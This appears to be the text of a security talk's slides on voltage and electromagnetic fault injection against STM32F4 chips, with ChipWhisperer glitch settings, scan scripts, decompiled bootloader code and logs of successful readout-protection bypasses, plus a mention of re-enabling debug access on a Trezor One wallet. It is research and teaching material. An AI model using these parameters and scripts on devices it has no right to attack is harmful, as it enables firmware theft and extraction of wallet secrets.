whoami
whoami?
Security researcher/instructor for VoidStar Security LLC
Offer training/consulting through VoidStar Security LLC
By causing momentary voltage modulations, we can force a target system to enter a realm of undefined behavior.
A targeted fault can bypass various security checks or other features
There are a few different types of fault injection attacks:
SYSTEM MEMORY
VCAP_1
VCAP_2
ext_offset
width
repeat
HAL_GPIO_WritePin(GPIOB, GPIO_PIN_9, GPIO_PIN_RESET); HAL_GPIO_WritePin(GPIOB, GPIO_PIN_8, GPIO_PIN_SET); HAL_GPIO_WritePin(GPIOB, GPIO_PIN_7, GPIO_PIN_RESET); while (1) { // Trigger here! HAL_GPIO_WritePin(GPIOB, GPIO_PIN_7, GPIO_PIN_SET); test_addr = *(uint32_t *)0x1FFFC000 ; HAL_GPIO_WritePin(GPIOB, GPIO_PIN_6 GPIO_PIN_SET); if(test_addr != 0x5510AAeF){ HAL_GPIO_WritePin(GPIOB, GPIO_PIN_8, GPIO_PIN_RESET); HAL_GPIO_WritePin(GPIOB, GPIO_PIN_9, GPIO_PIN_SET); }else{ HAL_GPIO_WritePin(GPIOB, GPIO_PIN_7, GPIO_PIN_RESET); } }
The flash read operation occurs in this ~2.48uS window
STM32F4 baseline power Trace, captured via the CW Husky
If we zoom in on the initial conic shape, we see some interesting patterns
Notice that activity spikes around offset 40000
This unique pattern can be used as our SAD trigger
The left image is the baseline capture (triggered off of the reset line) The right image is the SAD-triggered capture
We will iterate over offsets 40000-48000 ...
Boot bypass success! -- offset = -45, width = 40, ext_offset = 7701 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7703 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7706 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7731 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7765 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7767 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7769 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7771 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7773 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7774 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7775 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7778 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7779 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7780 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7781 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7783 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7787 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7793 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7795 Boot bypass success! -- offset = -45, width = 40, ext_offset = 7796
Targeting an EXT offset of 7700 to 7900 from the SAD trigger, we were able to reliably bypass the RDP check in the bootrom!
The highlighted fluctuation is likely the RDP check occuring
VCAP
VDD
This simple bracket will be used to mount the PicoEMP where the hot end of the printer is located
X
Y
Z
for glitch_setting in gc.glitch_values(): scope.glitch.ext_offset = glitch_setting[0] x_coord = glitch_setting[1] y_coord = glitch_setting[2] z_coord = glitch_setting[3] tries = glitch_setting[4] print_cntrl.write(f"G0 X{x_coord} Y{y_coord} Z{z_coord}\r\n".encode())
010433
0x1fff180c
cVar11 = cmd_val == 0x11; if ((bool)cVar11) { get_addr(); check_address(); FUN_1fff1bd8(); if (cVar11 == '\0') { read_len = read_byte(); cmd_val = read_byte(); if (cmd_val != (byte)~read_len) goto SET_NEG_ACK; posAck(); //... READ INTERNAL MEMORY ... goto LAB_1fff1858; } }
Where is the check for RDP???
undefined8 get_addr(void) { iVar1 = check_rdp(); if (iVar1 == 0) { sendByte(0x79); uVar2 = read_byte(); uVar3 = read_byte(); uVar4 = read_byte(); uVar5 = read_byte(); uVar6 = read_byte(); if (uVar6 == (uVar4 ^ uVar2 ^ uVar3 ^ uVar5)) { sendByte(0x79); return CONCAT44(in_r3,uVar3 << 0x10 | uVar2 << 0x18 | uVar5 | uVar4 << 8); } } return CONCAT44(in_r3,0x55555555); }
bool check_rdp(void) { return (PTR_FLASH.OPTCR_1fff0c40->ACR & 0xff00) != 0xaa00; }
0x11 0xEE
0x08 0x00 0x00 0x80
0xFF 0x00
Yellow = Tx, Purple = Rx, Approximately 20uS before response is sent
scope. trigger.module = 'edge_counter' scope.trigger.triggers = "tio1" scope.trigger.edges = 11 scope.io.glitch_trig_mcx = 'glitch' scope.glitch.trigger_src = "ext_single" # glitch only after scope.arm() called scope.glitch.output = "enable_only" # glitch_out = clk ^ glitch scope.glitch.repeat = 500 scope.glitch.width = 40 scope.glitch.offset = -45 scope.io.hs2 = "glitch"
POSTIVE ACK! Offset: 58 CMD: b'\x11\xee' Resp: b'\x11y' POSTIVE ACK! Offset: 58 CMD: b'\x08\x00\x00\x00\x08' Resp: b'Uy' POSTIVE ACK! Offset: 58 CMD: b'\xff\x00' Resp: b'Uy\xffy' POSTIVE ACK! Offset: 60 CMD: b'\xff\x00' Resp: b'\x94\x93\x92\x91\x90\x8f\x8e\x8d\x8c\x8b\x8a\x89\x88\x87\x86\x85\x84\x83\x82\x81\x80\x7f~}|{zyxwvutsrqponmlkjihgfedcb'
While this might look good at first - the read out data is not valid!
POSTIVE ACK! Offset: 169 CMD: b'\x11\xee' Resp: b'yy' POSTIVE ACK! Offset: 169 CMD: b'\x08\x00\x10\x00\x18' Resp: b'yy' POSTIVE ACK! Offset: 169 CMD: b'\x10\xef' Resp: b'yyyyyyyyyyyyyyyyyyy'
This is not quite right either ...
POSTIVE ACK! Offset: 481 CMD: b'\x11\xee' Resp: b'y' POSTIVE ACK! Offset: 481 CMD: b'\x08\x00\x10\x00\x18' Resp: b'y' POSTIVE ACK! Offset: 481 CMD: b'\x10\xef' Resp: b'y\x00\xf0p\xf9\x00\xf0>\xf9\x8d\xf8\x04\x00\x9d\xf8\x04\x00\x00'
Finally! Something that makes more sense and matches the target address!
SWD access was re-enabled on a Trezor One using similar EMP coordinates
Interface Explorer for Raspberry Pi - Find me afterwards for a sample PCB!
scope.trigger.module = 'SAD' trace_offset = 39850 scope.SAD.reference = test.waves[0][trace_offset:trace_offset+32] scope.SAD.threshold = 40 scope.adc.presamples = 1000
gc = cw.GlitchController(groups=["success", "normal"], parameters=["ext_offstet","x","y","z","tries"]) gc.set_range("x",XMIN,XMAX) gc.set_range("y",YMIN,YMAX) gc.set_range("z",ZMIN,ZMAX) gc.set_range("ext_offset", 9,15) gc.set_step("x", [.1]) gc.set_step("y", [.1]) gc.set_step("z", [.1])